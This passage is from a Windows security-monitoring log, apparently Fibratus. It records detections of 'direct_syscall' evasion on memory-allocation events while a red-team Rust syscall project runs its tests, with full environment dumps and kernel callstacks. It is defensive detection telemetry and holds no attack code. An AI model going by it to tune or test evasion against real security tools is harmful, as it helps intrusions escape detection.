Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68fcac2fd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcabc05 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca6a45 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5d1a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5d1a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcacc1a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5c4b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5669 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcf2bec C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fccfcfc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc5237 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff35129 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff31fae C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69033ed4a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff34757 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff32e06 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff2fbdd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005e5d0 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005d141 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6deb6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903187 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0088929 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50cc000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff769d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff19a8e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad0a0f C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68facfdd2 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad56a3 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad4267 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fad5eac C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68facf438 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6e321 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903189 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0089212 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50cb000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT 